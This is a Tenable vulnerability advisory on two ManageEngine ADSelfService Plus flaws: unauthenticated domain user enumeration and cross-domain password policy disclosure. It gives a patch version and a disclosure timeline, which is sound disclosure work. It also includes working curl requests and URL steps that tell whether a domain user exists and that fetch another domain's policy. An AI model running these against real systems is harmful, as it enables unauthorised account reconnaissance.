

# ManageEngine SelfService Plus Multiple Vulnerabilities

Medium

[← View More Research Advisories](#)

## Synopsis

While researching CVE-2021-28958, Tenable found multiple vulnerabilities in ManageEngine ADSelfService Plus (ADSSP) build 6111.

1) Windows Domain User Existence Determination (CVE-2021-20147)  
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N

ManageEngine ADSelfService Plus (ADSSP) allows an unauthenticated remote attacker to determine whether a Windows domain user exists. The attacker can achieve this with the following steps:

```
# Get configured domain list
curl 'http://<adssp-host>:8888/RestAPI/AuthenticationAPI?operation=domainList'

# Response when a domain user exists
# oldPassword and newPassword parameters need to pass the domain password policy
curl -s -D - -o /dev/null -d 'oldPassword=Pw1@PwPolicy&newPassword=Pw2@PwPolicy&operation=UMCP&umcp=1&loginName=user1&domainName=<domain>' http://<adssp-host>:8888/RestAPI/ChangePassword
HTTP/1.1 200 OK

# Response when a domain user does not exist
# oldPassword and newPassword parameters need to pass the domain password policy
curl -s -D - -o /dev/null -d 'oldPassword=Pw1@PwPolicy&newPassword=Pw2@PwPolicy&operation=UMCP&umcp=1&loginName=no_such_user&domainName=<domain>' http://<adssp-host>:8888/RestAPI/ChangePassword
HTTP/1.1 500 Internal Server Error
```

2) Windows Domain Password Policy Disclosure (CVE-2021-20148)  
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N

When ADSSP is configured with multiple Windows domains, a user from one domain can obtain the password policy for another domain with the following steps:

```
- Login to http://<adssp>:8888/ with the credentials of a user in domain A
- Fetch http://<adssp>:8888/RestAPI/PasswordSelfServiceAPI?operation=verifyUser&PSS_OPERATION=aaa ; this should return a list of configured domains
- Fetch http://<adssp>:8888/html/<domain_B_in_uppercase>_PasswordPolicy.html, replacing dot with underscore in the domain name; For example, if domain B is foo.local, fetch FOO.local_PasswordPolicy.html
```

## Solution

Update to ManageEngine ADSelfService Plus build 6116.

## Disclosure Timeline

08/12/2021 - Vulnerabilities Discovered  
9/14/2021 - Tenable reported vulnerabilities to vendor  
9/14/2021 - Vendor requested we use the latest ADSSP version (6114) and noted they will investigate the same  
9/22/2021 - Tenable reported to vendor that the vulnerabilities still exist in latest ADSSP version (6114) and requested update on their investigation  
9/22/2021 - Vendor responded that they are still investigating  
11/30/2021 - Tenable requested update on investigation and ETA for patch, reminded vendor of 90-day disclosure date  
11/30/2021 - Vendor responded that the bugs have been fixed and they'll update us once patches are released  
12/23/2021 - Tenable requested confirmation of patch release  
12/23/2021 - Tenable released advisory

All information within TRA advisories is provided "as is", without warranty of any kind, including the implied warranties of merchantability and fitness for a particular purpose, and with no guarantee of completeness, accuracy, or timeliness. Individuals and organizations are responsible for assessing the impact of any actual or potential security vulnerability.

Tenable takes product security very seriously. If you believe you have found a vulnerability in one of our products, we ask that you please work with us to quickly resolve it in order to protect customers. Tenable believes in responding quickly to such reports, maintaining communication with researchers, and providing a solution in short order.

For more details on submitting vulnerability information, please see our [Vulnerability Reporting Guidelines](#) page.

If you have questions or corrections about this advisory, please email [advisories@tenable.com](mailto:advisories@tenable.com)

## Risk Information

CVE ID: [CVE-2021-20147](#)

[CVE-2021-20148](#)

Tenable Advisory ID: TRA-2021-52

CVSSv3 Base / Temporal Score: 5.3 / 4.9

CVSSv3 Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N/E:F/RL:O/RC:C

Affected Products: ManageEngine ADSelfService Plus < build 6116

Risk Factor: Medium

---

## FEATURED PRODUCTS

[Tenable One Exposure Management Platform](#)

[Tenable.cs Cloud Security](#)

[Tenable.io Vulnerability Management](#)

[Tenable.io Web App Scanning](#)

[Tenable.asm External Attack Surface](#)

[Tenable.ad Active Directory](#)

[Tenable.ot Operational Technology](#)

[Tenable.sc Security Center](#)

[Tenable Lumin](#)

[Nessus](#)

[→ View all Products](#)

## FEATURED SOLUTIONS

[Application Security](#)

[Building Management Systems](#)

[Cloud Security Posture Management](#)

[Compliance](#)

[Exposure Management](#)

[Finance](#)

[Healthcare](#)

[IT/OT](#)

[Ransomware](#)

[State / Local / Education](#)

[US Federal](#)

[Vulnerability Management](#)

[Zero Trust](#)

[→ View all Solutions](#)

## CUSTOMER RESOURCES

[Resource Library](#)

[Community & Support](#)

[Customer Education](#)

[Tenable Research](#)

[Documentation](#)

[Trust and Assurance](#)

[Nessus Resource Center](#)

[Cyber Exposure Fundamentals](#)

[System Status](#)

## CONNECTIONS

[Blog](#)

[Contact Us](#)

[Careers](#)

[Investors](#)

[Events](#)

[Media](#)

